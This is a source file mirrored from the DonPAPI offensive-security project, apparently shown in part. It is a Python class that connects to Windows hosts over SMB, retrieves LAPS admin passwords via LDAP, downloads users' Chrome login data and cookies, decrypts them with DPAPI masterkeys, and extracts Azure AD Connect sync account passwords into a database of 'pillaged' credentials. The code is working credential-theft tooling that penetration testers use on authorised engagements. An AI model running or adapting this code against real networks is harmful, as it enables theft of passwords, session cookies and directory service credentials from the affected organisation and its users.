mirror of
https://github.com/login-securite/DonPAPI
synced 2024-12-22 15:04:49 +00:00
1985 lines
96 KiB
Python
1985 lines
96 KiB
Python
#!/usr/bin/env python
|
|
# coding:utf-8
|
|
'''
|
|
PA Vandewoestyne
|
|
'''
|
|
from __future__ import division
|
|
from __future__ import print_function
|
|
|
|
import copy
|
|
from pathlib import Path
|
|
|
|
from lib.secretsdump import LSASecrets as MyLSASecrets
|
|
from lib.secretsdump import SAMHashes as MySAMHashes
|
|
import socket,impacket
|
|
|
|
from impacket.dcerpc.v5 import srvs
|
|
from impacket.dcerpc.v5.dtypes import NULL
|
|
from impacket.smb import SMB_DIALECT
|
|
|
|
#import impacket.dpapi
|
|
from lib.dpapi import DPAPI, CredHist
|
|
from software.browser.chrome_decrypt import *
|
|
from software.browser.firefox_decrypt import *
|
|
from software.sysadmin.vnc import Vnc
|
|
from lib.toolbox import is_guid
|
|
from myusers import *
|
|
from lib.fileops import MyRegOps
|
|
from database import database
|
|
from lib.new_module import *
|
|
from lib.RecentFiles import *
|
|
from lib.adconnect import *
|
|
from ldap3 import ALL, Server, Connection, NTLM
|
|
#from lib.lazagne_dpapi.credhist import CredHistFile
|
|
|
|
class MySeatBelt:
|
|
def __init__(self, target, options, logger, verbose=1):
|
|
self.logging = logger
|
|
self.options = copy.deepcopy(options)
|
|
self.options.target_ip = target
|
|
self.host = target
|
|
#self.username=options.username
|
|
#self.password=options.password
|
|
#self.domain=options.domain
|
|
self.options.timeout=5
|
|
self.smb = None
|
|
#options.target_ip=target
|
|
"""
|
|
self.logging.info(f"[{target}] [-] initialising smb connection to {options.domain} / {options.username} : {options.password}, @ {options.dc_ip} , Hash : {options.lmhash} : { options.nthash}, AESKey {options.aesKey}")
|
|
smbClient = SMBConnection(options.address, target, sess_port=int(options.port))
|
|
if options.k is True:
|
|
smbClient.kerberosLogin(options.username, options.password, options.domain, options.lmhash, options.nthash, options.aesKey, options.dc_ip )
|
|
else:
|
|
smbClient.login(options.username, options.password, options.domain, options.lmhash, options.nthash)
|
|
|
|
self.smb = smbClient
|
|
"""
|
|
#Init all
|
|
self.smbv1 = False
|
|
self.admin_privs = False
|
|
#self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, self.TGT, self.TGS = self.smb.getCredentials()
|
|
self.share = None
|
|
self.last_output = None
|
|
self.completion = []
|
|
self.users = []
|
|
self.user_path = ''
|
|
self.machine_key = []
|
|
self.user_key = []
|
|
|
|
#self.options[logging] = logge
|
|
self.myfileops = None
|
|
self.myregops = None
|
|
#self.myfileops = MyFileOps(self.smb,self.logging,self.options)
|
|
self.credz = options.credz
|
|
self.__remoteOps = None
|
|
self.__bootKey = b''
|
|
self.__SAMHashes = None
|
|
self.__LSASecrets = None
|
|
self.global_logfile = b'globallog.log'
|
|
self.init_connect()
|
|
#logger.init()
|
|
|
|
def init_connect(self):
|
|
try:
|
|
self.db = database(sqlite3.connect(self.options.db_path, check_same_thread=False), self.logging)
|
|
if self.create_conn_obj():
|
|
#self.do_info_rpc_unauth()
|
|
self.do_info_unauth()
|
|
self.create_conn_obj()
|
|
if self.login_conn():
|
|
self.is_admin()
|
|
if self.admin_privs:
|
|
self.myfileops = MyFileOps(self.smb, self.logging, self.options)
|
|
self.myregops = MyRegOps(self.logging,self.options)
|
|
return True
|
|
else:
|
|
return False
|
|
return False
|
|
except Exception as e:
|
|
self.logging.debug('Error init connect')
|
|
return False
|
|
|
|
|
|
def create_smbv1_conn(self):
|
|
try:
|
|
self.smb = SMBConnection(self.host, self.host, None, self.options.port, preferredDialect=SMB_DIALECT, timeout=self.options.timeout)
|
|
self.smbv1 = True
|
|
logging.debug('SMBv1 OK on {} - {}'.format(self.host,self.options.target_ip))
|
|
except socket.error as e:
|
|
if str(e).find('Connection reset by peer') != -1:
|
|
logging.debug('SMBv1 might be disabled on {}'.format(self.host))
|
|
return False
|
|
except Exception as e:
|
|
logging.debug('Error creating SMBv1 connection to {}: {}'.format(self.host, e))
|
|
return False
|
|
|
|
return True
|
|
|
|
def create_smbv3_conn(self):
|
|
try:
|
|
self.smb = SMBConnection(self.host, self.host, None, self.options.port, timeout=self.options.timeout)
|
|
self.smbv1 = False
|
|
logging.debug('SMBv3 OK on {} - {}'.format(self.host,self.options.target_ip))
|
|
except Exception as e:
|
|
self.logging.debug('Error creating SMBv3 connection to {}: {}'.format(self.host, e))
|
|
self.db.add_computer(ip=self.host,connectivity=f"{e}")
|
|
return False
|
|
|
|
return True
|
|
|
|
def create_conn_obj(self):
|
|
#self.logging.info(f"[{self.options.target_ip}] [-] initialising smb connection to {self.options.domain} / {self.options.username} : {self.options.password}, @ {self.options.dc_ip} , Hash : {self.options.lmhash} : {self.options.nthash}, AESKey {self.options.aesKey}")
|
|
self.logging.debug(f"[{self.options.target_ip}] [-] initialising smb connection ...")
|
|
if self.create_smbv1_conn():
|
|
return True
|
|
elif self.create_smbv3_conn():
|
|
return True
|
|
|
|
return False
|
|
|
|
def quit(self):
|
|
try:
|
|
self.logging.debug(f"[{self.options.target_ip}] [-] initialising smb close ...")
|
|
#self.myfileops.close()
|
|
#self.myregops.close()
|
|
#self.smb.close()
|
|
self.logging.debug(f"[{self.options.target_ip}] [-] smb closed ...")
|
|
except Exception as e:
|
|
self.logging.debug('Error in closing SMB connection')
|
|
return False
|
|
|
|
def get_laps(self):
|
|
try:
|
|
self.logging.debug(f"[{self.options.target_ip}] [-] Using LAPS to get Local admin password on {self.options.hostname} - domain {self.options.domain} : dcip {self.options.dc_ip}")
|
|
ldap_domain = ''
|
|
ldap_domain_parts = self.options.domain.split('.')
|
|
for part in ldap_domain_parts:
|
|
ldap_domain += f"dc={part},"
|
|
ldap_domain = ldap_domain[:-1]
|
|
|
|
if self.options.dc_ip != None:
|
|
s = Server(self.options.dc_ip, get_info=ALL)
|
|
else:
|
|
s = Server(self.options.domain, get_info=ALL)
|
|
c = Connection(s, user=self.options.domain + "\\" + self.options.username, password=self.options.password, authentication=NTLM, auto_bind=True)
|
|
c.search(search_base=f"{ldap_domain}",
|
|
search_filter=f'(&(cn={self.options.hostname})(ms-MCS-AdmPwd=*))',
|
|
attributes=['ms-MCS-AdmPwd', 'SAMAccountname'])
|
|
self.logging.debug(f"[{self.options.target_ip}] [-] Using LAPS to get Local admin password on {self.options.hostname} - {ldap_domain} - got {len(c.entries)} match")
|
|
if len(c.entries)==1:
|
|
#for entry in c.entries[0]:
|
|
entry=c.entries[0]
|
|
#self.options.username = str(entry['sAMAccountName'])
|
|
self.options.password = str(entry['ms-Mcs-AdmPwd'])
|
|
#self.username = self.options.username
|
|
#self.password = self.options.password
|
|
self.options.local_auth = True
|
|
self.options.domain = self.options.hostname
|
|
return True
|
|
else:
|
|
return False
|
|
except Exception as ex:
|
|
self.logging.debug(f"[{self.options.target_ip}] Exception {bcolors.WARNING} in get LAPS {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
return False
|
|
|
|
def login_conn(self,username=None,password=None,domain=None):
|
|
try:
|
|
if username is None:
|
|
username=self.options.username
|
|
if password==None:
|
|
password=self.options.password
|
|
if domain==None:
|
|
domain=self.options.domain
|
|
#smbClient = SMBConnection(options.address, target, sess_port=int(options.port))
|
|
if self.options.k is True:
|
|
self.logging.debug(f"[{self.options.target_ip}] [-] initialising smb Kerberos Authentification to {self.options.domain} / {self.options.username} : {self.options.password}, @ {self.options.dc_ip} , Hash : {self.options.lmhash} : {self.options.nthash}, AESKey {self.options.aesKey}")
|
|
self.smb.kerberosLogin(username, password, domain, self.options.lmhash, self.options.nthash, self.options.aesKey, self.options.dc_ip)
|
|
#elif self.options.hashes != None:
|
|
else:
|
|
if self.options.laps is True and username != '' and password != '': # not doing LAPS for null session
|
|
if(self.get_laps()):
|
|
for username in ['administrator','administrateur','administrador']:
|
|
try:
|
|
self.logging.debug(f"[{self.options.target_ip}] [-] initialising smb Local Authentification to {self.options.domain} / {username} : {self.options.password}, @ {self.host} , Hash : {self.options.lmhash} : {self.options.nthash}, AESKey {self.options.aesKey}")
|
|
self.smb.login(username, self.options.password, self.options.domain, self.options.lmhash, self.options.nthash, ntlmFallback=True)
|
|
self.options.username=username
|
|
if username not in self.options.credz:
|
|
self.options.credz[username] = [self.options.password]
|
|
else:
|
|
self.options.credz[username].append(self.options.password)
|
|
return True
|
|
except Exception as ex:
|
|
self.logging.debug(f"[{self.options.target_ip}] Exception {bcolors.WARNING} in LOGIN_Connection - LAPS with {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
continue
|
|
else:
|
|
if username == "" and password == "":
|
|
try:
|
|
self.logging.debug(f"[{self.options.target_ip}] [-] initialising smb NullSession to {self.host}")
|
|
self.smb.login(username, password, domain, self.options.lmhash, self.options.nthash,ntlmFallback=True)
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] Exception {bcolors.WARNING} in NullSession {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
return False
|
|
else:
|
|
self.logging.debug(f"[{self.options.target_ip}] [-] initialising smb Authentification to {domain} / {username} : {password}, @ {self.host} , Hash : {self.options.lmhash} : {self.options.nthash}, AESKey {self.options.aesKey}")
|
|
self.smb.login(username, password, domain, self.options.lmhash, self.options.nthash, ntlmFallback=True)
|
|
'''except : #self.smb.STATUS_LOGON_FAILURE :
|
|
try:
|
|
if domain != self.hostname:
|
|
#Trying localy
|
|
self.smb.login(username, password, self.hostname, self.options.lmhash, self.options.nthash, ntlmFallback=True)
|
|
return True
|
|
else:#On pourrait tenter une connexion domain, mais on risque d'augmenter le compte des erreurs
|
|
self.logging.error(f"[{self.options.target_ip}] Error {bcolors.WARNING} Connexion refused with credentials {domain}/{username}:{password}@{self.host} {bcolors.ENDC}")
|
|
return False
|
|
except Exception as ex:
|
|
self.logging.error(f"[{self.options.target_ip}] Exception {bcolors.WARNING} Connexion Error in Local attempt {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
return False'''
|
|
#self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, self.TGT, self.TGS = self.smb.getCredentials()
|
|
return True
|
|
except Exception as ex:
|
|
self.logging.debug(f"[{self.options.target_ip}] Exception {bcolors.WARNING} in LOGIN_Connection {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
return False
|
|
|
|
|
|
def GetUserByName(self,username):
|
|
for user in self.users:
|
|
if user.username==username:
|
|
return user
|
|
else:
|
|
self.logging.debug("User %s Not found in self.users"%username)
|
|
|
|
|
|
def is_admin(self):
|
|
self.logging.debug(f"[{self.options.target_ip}] Checking if is admin ")
|
|
self.admin_privs = False
|
|
try:
|
|
self.smb.connectTree("C$")
|
|
self.admin_privs = True
|
|
self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKBLUE}Is ADMIN{bcolors.ENDC}")
|
|
self.db.update_computer(ip=self.options.target_ip,is_admin=True)
|
|
except SessionError as e:
|
|
self.logging.debug( f"[{self.options.target_ip}] {bcolors.WARNING}Exception in IS ADMIN{bcolors.ENDC}")
|
|
self.logging.debug(f"[{self.options.target_ip}] {e}")
|
|
self.db.update_computer(ip=self.options.target_ip, is_admin=False)
|
|
pass
|
|
return self.admin_privs
|
|
|
|
|
|
def do_info_unauth(self):
|
|
#self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]
|
|
try:
|
|
#Null session to get basic infos
|
|
self.login_conn(username='',password='')
|
|
#self.domain = self.smb.getServerDNSDomainName()
|
|
self.options.hostname = self.smb.getServerName()
|
|
#self.options.hostname=self.hostname
|
|
self.server_os = self.smb.getServerOS()
|
|
self.signing = self.smb.isSigningRequired() if self.smbv1 else self.smb._SMBConnection._Connection['RequireSigning']
|
|
# self.os_arch = self.get_os_arch()
|
|
if self.options.domain == '': #no domain info == local auth
|
|
self.options.domain = self.options.hostname
|
|
#elif self.options.domain != '':
|
|
# self.domain = self.options.domain
|
|
|
|
self.logging.info(f"[{self.options.target_ip}] [+] {bcolors.OKBLUE}{self.options.hostname}{bcolors.ENDC} (domain:{self.smb.getServerDNSDomainName()}) ({self.server_os}) [SMB Signing {'Enabled' if self.signing else 'Disabled'}]")
|
|
self.db.add_computer(ip=self.options.target_ip,hostname=self.options.hostname,domain=self.smb.getServerDNSDomainName(),os=self.server_os,smb_signing_enabled=self.signing,smbv1_enabled=self.smbv1)
|
|
|
|
except Exception as ex:
|
|
self.logging.debug(f"[{self.options.target_ip}] Exception {bcolors.WARNING} in DO INFO UNAUTH {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
|
|
def do_info_rpc_unauth(self):
|
|
try:
|
|
rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename=r'\srvsvc', smb_connection=self.smb)
|
|
dce = rpctransport.get_dce_rpc()
|
|
dce.connect()
|
|
dce.bind(srvs.MSRPC_UUID_SRVS)
|
|
resp = srvs.hNetrServerGetInfo(dce, 102)
|
|
self.logging.debug("Server Name: %s" % resp['InfoStruct']['ServerInfo102']['sv102_name'])
|
|
self.hostname = resp['InfoStruct']['ServerInfo102']['sv102_name']
|
|
except Exception as ex:
|
|
self.logging.debug(f"[{self.options.target_ip}] Exception {bcolors.WARNING} in DO INFO {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
def do_info_with_auth(self):
|
|
#self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]
|
|
try:
|
|
#Null session to get basic infos
|
|
self.login_conn()
|
|
#self.domain = self.smb.getServerDNSDomainName()
|
|
self.options.hostname = self.smb.getServerName()
|
|
self.server_os = self.smb.getServerOS()
|
|
self.signing = self.smb.isSigningRequired() if self.smbv1 else self.smb._SMBConnection._Connection['RequireSigning']
|
|
# self.os_arch = self.get_os_arch()
|
|
if not self.domain and self.options.domain == '':
|
|
self.domain = self.options.hostname
|
|
elif self.options.domain != '':
|
|
self.domain = self.options.domain
|
|
|
|
self.logging.info(
|
|
f"[{self.options.target_ip}] [+] {bcolors.OKBLUE}{self.hostname}{bcolors.ENDC} (domain:{self.domain}) {self.hostname} ({self.server_os}) [SMB Signing {'Enabled' if self.signing else 'Disabled'}]")
|
|
#IP# print(self.smb.getRemoteHost())
|
|
#print(self.smb.getServerDNSDomainName())
|
|
rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename=r'\srvsvc', smb_connection=self.smb)
|
|
dce = rpctransport.get_dce_rpc()
|
|
dce.connect()
|
|
dce.bind(srvs.MSRPC_UUID_SRVS)
|
|
resp = srvs.hNetrServerGetInfo(dce, 102)
|
|
#self.signing = self.smb.isSigningRequired() if self.smbv1 else self.smb._SMBConnection._Connection['RequireSigning']
|
|
#self.os_arch = self.get_os_arch()
|
|
|
|
#self.logging.debug("Version Major: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_major'])
|
|
#self.logging.debug("Version Minor: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_minor'])
|
|
#self.logging.debug("Server Name: %s" % resp['InfoStruct']['ServerInfo102']['sv102_name'])
|
|
#self.logging.debug("Server Comment: %s" % resp['InfoStruct']['ServerInfo102']['sv102_comment'])
|
|
#self.logging.debug("Server UserPath: %s" % resp['InfoStruct']['ServerInfo102']['sv102_userpath'])
|
|
#self.logging.debug("Simultaneous Users: %d" % resp['InfoStruct']['ServerInfo102']['sv102_users'])
|
|
#USE user path
|
|
self.user_path = resp['InfoStruct']['ServerInfo102']['sv102_userpath']
|
|
|
|
self.db.add_computer(ip=self.options.target_ip,hostname=self.hostname,domain=self.domain,os=self.server_os)
|
|
self.logging.info(f"[{self.options.target_ip}] [+] {bcolors.OKBLUE}{self.hostname}{bcolors.ENDC} (domain:{self.domain}) ({self.server_os} - {resp['InfoStruct']['ServerInfo102']['sv102_comment']} -{resp['InfoStruct']['ServerInfo102']['sv102_userpath']} - {resp['InfoStruct']['ServerInfo102']['sv102_users']})")
|
|
|
|
except Exception as ex:
|
|
self.logging.debug(f"[{self.options.target_ip}] Exception {bcolors.WARNING} in DO INFO AUTH{bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
|
|
def logsecret(self,data):
|
|
try:
|
|
fh = open(self.global_logfile, 'ab')
|
|
fh.write(data.encode())
|
|
fh.close()
|
|
self.logging.info(f"[{self.options.target_ip}] [+] {bcolors.OKGREEN} {data} {bcolors.ENDC}")
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Exception logsecret for {data} {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
|
|
def GetMozillaSecrets_wrapper(self):
|
|
self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering Mozilla Secrets {bcolors.ENDC}")
|
|
|
|
for user in self.users:
|
|
if user.username == 'MACHINE$':
|
|
continue
|
|
try:
|
|
myoptions = copy.deepcopy(self.options)
|
|
myoptions.file = None # "chrome_enc_blob.tmp" # BLOB to parse
|
|
myoptions.key = None
|
|
myoptions.masterkeys = None
|
|
myFirefoxSecrets = FIREFOX_LOGINS(myoptions, self.logging, user, self.myfileops,self.db)
|
|
myFirefoxSecrets.run()
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Exception GetMozillaSecrets_wrapper for {user.username} {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
def GetChormeSecrets(self):
|
|
self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering Chrome Secrets {bcolors.ENDC}")
|
|
blacklist = ['.', '..']
|
|
# Parse chrome
|
|
# autres navigateurs ?
|
|
|
|
user_directories = [("Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data", 'Local State', 'ChromeLocalState', 'DOMAIN'),
|
|
("Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default", 'Cookies', 'ChromeCookies', 'DOMAIN'),
|
|
("Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default", 'Login Data', 'ChromeLoginData', 'DOMAIN'),
|
|
]
|
|
|
|
|
|
for user in self.users:
|
|
if user.username == 'MACHINE$':
|
|
continue
|
|
else:
|
|
directories_to_use = user_directories
|
|
myoptions = copy.deepcopy(self.options)
|
|
myoptions.file = None # "chrome_enc_blob.tmp" # BLOB to parse
|
|
myoptions.key = None
|
|
myoptions.masterkeys = None
|
|
myChromeSecrets = CHROME_LOGINS(myoptions, self.logging, self.db,user.username)
|
|
|
|
# if len(user.masterkeys)>0:#Pas de masterkeys==pas de datas a recup
|
|
for info in directories_to_use:
|
|
my_dir, my_mask, my_blob_type, my_user_type = info
|
|
tmp_pwd = my_dir.format(username=user.username)#tmp_pwd = f"Users\\{user.username}\\{my_dir}"#ntpath.join(ntpath.join('Users', user.username), my_dir)
|
|
self.logging.debug(f"[{self.options.target_ip}] Looking for {user.username} files in {tmp_pwd} with mask {my_mask}")
|
|
my_directory = self.myfileops.do_ls(tmp_pwd, my_mask, display=False)
|
|
for infos in my_directory:
|
|
longname, is_directory = infos
|
|
self.logging.debug("ls returned file %s" % longname)
|
|
if longname not in blacklist and not is_directory:
|
|
try:
|
|
self.logging.debug(f"[{self.options.target_ip}] [+] Found {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Chrome files : {longname}")
|
|
# Downloading Blob file
|
|
localfile = self.myfileops.get_file(ntpath.join(tmp_pwd, longname),allow_access_error=True)
|
|
#myoptions = copy.deepcopy(self.options)
|
|
if my_blob_type == 'ChromeLocalState':
|
|
try:
|
|
myChromeSecrets.localstate_path=localfile
|
|
guid=myChromeSecrets.get_masterkey_guid_from_localstate()
|
|
if guid != None:
|
|
masterkey = self.get_masterkey(user=user, guid=guid, type=my_user_type)
|
|
if masterkey != None:
|
|
if masterkey['status'] == 'decrypted':
|
|
myChromeSecrets.masterkey = masterkey['key']
|
|
aesKey = myChromeSecrets.get_AES_key_from_localstate(masterkey=masterkey['key'])
|
|
if aesKey != None:
|
|
self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull of {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Chrome AES Key {aesKey} {bcolors.ENDC}")
|
|
else:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State with Masterkey{bcolors.ENDC}")
|
|
else:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State - Masterkey not decrypted{bcolors.ENDC}")
|
|
else:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State with Masterkey- cant get masterkey {guid}{bcolors.ENDC}")
|
|
else:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State with Masterkey - can t get the GUID of masterkey from blob file{bcolors.ENDC}")
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Exception in ChromeLocalState{bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
if my_blob_type == 'ChromeLoginData':
|
|
try:
|
|
myChromeSecrets.logindata_path=localfile
|
|
user.files[longname] = {}
|
|
user.files[longname]['type'] = my_blob_type
|
|
user.files[longname]['status'] = 'encrypted'
|
|
user.files[longname]['path'] = localfile
|
|
logins=myChromeSecrets.decrypt_chrome_LoginData()
|
|
user.files[longname]['secret'] = logins
|
|
if logins is not None:
|
|
user.files[longname]['status'] = 'decrypted'
|
|
except Exception as ex:
|
|
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting logindata for CHROME {user.username} {localfile} {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
if my_blob_type == 'ChromeCookies':
|
|
try:
|
|
myChromeSecrets.cookie_path=localfile
|
|
user.files[longname] = {}
|
|
user.files[longname]['type'] = my_blob_type
|
|
user.files[longname]['status'] = 'encrypted'
|
|
user.files[longname]['path'] = localfile
|
|
cookies=myChromeSecrets.decrypt_chrome_CookieData()
|
|
user.files[longname]['secret'] = cookies
|
|
if cookies is not None:
|
|
user.files[longname]['status'] = 'decrypted'
|
|
except Exception as ex:
|
|
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting CookieData for CHROME {user.username} {localfile} {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting Blob for {localfile} with Masterkey{bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
|
|
def getMdbData(self):
|
|
try:
|
|
return self.getMdbData2()
|
|
except UnicodeDecodeError:
|
|
return self.getMdbData2('utf-16-le')
|
|
def getMdbData2(self, codec='utf-8'):
|
|
try:
|
|
out = {
|
|
'cryptedrecords': [],
|
|
'xmldata': []
|
|
}
|
|
keydata = None
|
|
#
|
|
#self.options.from_file='adsync_export'
|
|
|
|
if self.options.from_file:
|
|
logging.info('Loading configuration data from %s on filesystem', self.options.from_file)
|
|
infile = codecs.open(self.options.from_file, 'r', codec)
|
|
enumtarget = infile
|
|
else:
|
|
logging.info('Querying database for configuration data')
|
|
dbpath = os.path.join(os.getcwd(), r"ADSync.mdf")
|
|
output = subprocess.Popen(["ADSyncQuery.exe", dbpath], stdout=subprocess.PIPE).communicate()[0]
|
|
enumtarget = output.split('\n')
|
|
|
|
#####TEMP
|
|
#logging.info('Loading configuration data from %s on filesystem', self.__options.from_file)
|
|
#infile = codecs.open('adsync_export', 'r', codec)
|
|
#enumtarget = infile
|
|
######
|
|
|
|
for line in enumtarget:
|
|
print(line)
|
|
try:
|
|
ltype, data = line.strip().split(': ')
|
|
except ValueError:
|
|
continue
|
|
ltype = ltype.replace(u'\ufeff', u'')
|
|
if ltype.lower() == 'record':
|
|
xmldata, crypteddata = data.split(';')
|
|
out['cryptedrecords'].append(crypteddata)
|
|
out['xmldata'].append(xmldata)
|
|
#print(f"record found : {xmldata}")
|
|
|
|
if ltype.lower() == 'config':
|
|
instance, keyset_id, entropy = data.split(';')
|
|
out['instance'] = instance
|
|
out['keyset_id'] = keyset_id
|
|
out['entropy'] = entropy
|
|
#if self.__options.from_file:
|
|
# infile.close()
|
|
# Check if all values are in the outdata
|
|
required = ['cryptedrecords', 'xmldata', 'instance', 'keyset_id', 'entropy']
|
|
for option in required:
|
|
if not option in out:
|
|
logging.error(
|
|
'Missing data from database. Option %s could not be extracted. Check your database or output file.',
|
|
option)
|
|
return None
|
|
return out
|
|
except Exception as ex:
|
|
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception in Parsing database : Please manualy run ADSyncQuery.exe ADSync.mdf > adsync_export on a windows env with MSSQL support{bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
def Get_AD_Connect(self,user, localfile, data):
|
|
#Local DPAPI extracted data
|
|
info=""
|
|
parts = data['Target'].decode('utf-16le')[:-1].split('_')
|
|
localBlobdatas= {
|
|
'instanceid': parts[3][1:-1].lower(),
|
|
'keyset_id': parts[4],
|
|
'data': data['Unknown3']
|
|
}
|
|
#print(localBlobdatas)
|
|
|
|
#ADConnect Database data
|
|
logging.debug(f"[{self.options.target_ip}] {bcolors.OKBLUE} Trying to get ADConnect account{bcolors.ENDC}")
|
|
try:
|
|
#Stop Service / Download DB / Start DB
|
|
myADSRemoteOps = ADSRemoteOperations(smbConnection=self.smb, doKerberos=False)
|
|
myADSRemoteOps.gatherAdSyncMdb()
|
|
#files_to_dl=['Program Files\\Microsoft Azure AD Sync\\Data\\ADSync.mdf','Program Files\\Microsoft Azure AD Sync\\Data\\ADSync_log.ldf']
|
|
mdbdata=self.getMdbData()
|
|
if mdbdata is None:
|
|
logging.debug(f"[{self.options.target_ip}] Could not extract required database information. Exiting")
|
|
return
|
|
#print(mdbdata)
|
|
except Exception as ex:
|
|
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception in ADSRemoteOperations 1{bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
|
|
result=localBlobdatas
|
|
if result is not None:
|
|
if result['keyset_id'] != mdbdata['keyset_id'] or result['instanceid'] != mdbdata['instance']:
|
|
logging.debug('Found keyset %s instance %s, but need keyset %s instance %s. Trying next',
|
|
result['keyset_id'], result['instanceid'], mdbdata['keyset_id'], mdbdata['instance'])
|
|
else:
|
|
logging.debug('Found correct encrypted keyset to decrypt data')
|
|
if result is None:
|
|
logging.debug('Failed to find correct keyset data')
|
|
return
|
|
|
|
#cryptkeys = [self.__remoteOps.decryptDpapiBlobSystemkey(result['data'], self.dpapiSystem['MachineKey'],string_to_bin(mdbdata['entropy']))]
|
|
myoptions = copy.deepcopy(self.options)
|
|
myoptions.file = None # "key_material.tmp" # BLOB to parse
|
|
myoptions.key = None
|
|
myoptions.masterkeys = None # user.masterkeys_file
|
|
mydpapi = DPAPI(myoptions, self.logging)
|
|
guid = mydpapi.find_Blob_masterkey(raw_data=result['data'])
|
|
self.logging.debug(f"[{self.options.target_ip}] Looking for ADConnect masterkey : {guid}")
|
|
if guid != None:
|
|
machine_user=user=self.GetUserByName('MACHINE$')
|
|
masterkey = self.get_masterkey(user=machine_user, guid=guid, type='MACHINE')
|
|
if masterkey != None:
|
|
if masterkey['status'] == 'decrypted':
|
|
mydpapi.options.key = masterkey['key']
|
|
# cred_data = mydpapi.decrypt_credential()
|
|
cryptkeys = [mydpapi.decrypt_blob(raw_data=result['data'],entropy=string_to_bin(mdbdata['entropy']))]
|
|
try:
|
|
logging.debug(f'Decrypting encrypted AD Sync configuration data with {cryptkeys}')
|
|
for index, record in enumerate(mdbdata['cryptedrecords']):
|
|
# Try decrypting with highest cryptkey record
|
|
self.logging.debug(f"[{self.options.target_ip}] {index} - {record}")
|
|
drecord = DumpSecrets.decrypt(record, cryptkeys[-1]).replace('\x00', '')
|
|
#print(drecord)
|
|
with open('r%d_xml_data.xml' % index, 'w') as outfile:
|
|
data = base64.b64decode(mdbdata['xmldata'][index]).decode('utf-16-le')
|
|
outfile.write(data)
|
|
with open('r%d_encrypted_data.xml' % index, 'w') as outfile:
|
|
outfile.write(drecord)
|
|
ctree = ET.fromstring(drecord)
|
|
dtree = ET.fromstring(data)
|
|
if 'forest-login-user' in data:
|
|
logging.debug('Local AD credentials')
|
|
el = dtree.find(".//parameter[@name='forest-login-domain']")
|
|
if el is not None:
|
|
logging.debug('\tDomain: %s', el.text)
|
|
username=el.text
|
|
el = dtree.find(".//parameter[@name='forest-login-user']")
|
|
if el is not None:
|
|
username+='/'+el.text
|
|
#logging.debug('\tUsername: %s', el.text)
|
|
else:
|
|
# Assume AAD config
|
|
logging.debug('Azure AD credentials')
|
|
el = dtree.find(".//parameter[@name='UserName']")
|
|
if el is not None:
|
|
username=el.text
|
|
logging.debug('\tUsername: %s', el.text)
|
|
# Can be either lower or with capital P
|
|
fpw = None
|
|
el = ctree.find(".//attribute[@name='Password']")
|
|
if el is not None:
|
|
fpw = el.text
|
|
el = ctree.find(".//attribute[@name='password']")
|
|
if el is not None:
|
|
fpw = el.text
|
|
if fpw:
|
|
# fpw = fpw[:len(fpw)/2] + '...[REDACTED]'
|
|
logging.debug('\tPassword: %s', fpw)
|
|
info+=f"{username} : {fpw}\n"
|
|
self.logging.info(
|
|
f"[{self.options.target_ip}] [+] {bcolors.OKGREEN} ADCONNECT : {bcolors.OKGREEN} - {username} : {fpw}{bcolors.ENDC}")
|
|
############PROCESSING DATA
|
|
self.db.add_credz(credz_type='ADConnect',
|
|
credz_username=username,
|
|
credz_password=fpw,
|
|
credz_target='',
|
|
credz_path='', # user.files['ADCONNECT']['path'],
|
|
pillaged_from_computer_ip=self.options.target_ip,
|
|
pillaged_from_username=user.username)
|
|
except Exception as ex:
|
|
self.logging.debug(
